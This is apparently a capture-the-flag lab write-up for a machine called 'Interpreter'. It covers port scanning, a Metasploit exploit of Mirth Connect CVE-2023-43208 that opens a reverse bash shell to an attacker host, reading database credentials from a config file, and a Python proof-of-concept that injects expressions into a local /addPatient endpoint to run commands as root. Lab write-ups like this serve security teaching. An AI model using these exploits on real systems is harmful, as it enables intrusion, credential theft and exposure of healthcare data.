Post

Interpreter

Interpreter

1/ Reconnaissance

1.1 Port and service enumeration

1
2
3
4
5
nmap -Pn -sC -sV 10.129.244.184

22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https

1.2 Confirm Mirth Connect version leak

1
2
3
curl -sk https://10.129.244.184/webstart.jnlp | head -n 40

... Mirth Connect 4.4.0 ...

2/ Initial Foothold (CVE-2023-43208)

2.1 Metasploit resource script

Using Metaploit:

1
2
3
4
5
6
7
8
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.244.184
set RPORT 443
set SSL true
set LHOST [Attacker IP]
set PAYLOAD cmd/unix/reverse_bash
set VERBOSE true
run

Run it:

1
msfconsole -q -r msf_cve_2023_43208.rc

2.2 Verify foothold

In obtained shell:

1
2
3
id

uid=103(mirth) gid=103(mirth) groups=103(mirth)

3/ Enumeration as mirth

3.1 Listening local services

1
2
3
ss -lntp

LISTEN 0 128 127.0.0.1:54321 ...

3.2 Extract Mirth DB credentials

1
2
3
4
cat /usr/local/mirthconnect/conf/mirth.properties | rg "database\.(username|password)"

database.username = mirthdb
database.password = MirthPass123!

3.3 Validate internal endpoint behavior

1
curl -s http://127.0.0.1:54321/addPatient

4/ Privilege Escalation via /addPatient Expression Injection

4.1 Generic expression-eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
# /home/x/Downloads/poc/addpatient_eval_poc.py
import argparse
import json
import sys
import requests


def build_xml(firstname: str) -> str:
    return f"""<?xml version='1.0' encoding='UTF-8'?>
<patient>
  <firstname>{firstname}</firstname>
  <lastname>tester</lastname>
  <dob>1990-01-01</dob>
  <ssn>111-22-3333</ssn>
</patient>
"""


def main() -> int:
    parser = argparse.ArgumentParser(description="PoC for addPatient expression evaluation")
    parser.add_argument("--url", required=True, help="Target URL, e.g. http://127.0.0.1:54321/addPatient")
    parser.add_argument("--expr", required=True, help="Expression body to place inside {...}")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    payload = "{" + args.expr + "}"
    xml_data = build_xml(payload)
    headers = {"Content-Type": "application/xml"}

    try:
        r = requests.post(args.url, data=xml_data.encode(), headers=headers, timeout=args.timeout)
    except requests.RequestException as exc:
        print(f"[!] Request failed: {exc}", file=sys.stderr)
        return 1

    print(f"[+] HTTP {r.status_code}")
    print("[+] Response body:")
    print(r.text)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

4.2 Exploit with the script

1
2
3
4
5
6
7
python3 /home/x/Downloads/poc/addpatient_eval_poc.py \
  --url http://127.0.0.1:54321/addPatient \
  --expr 'os.popen("id").read()'

[+] HTTP 200
[+] Response body:
uid=0(root) gid=0(root) groups=0(root)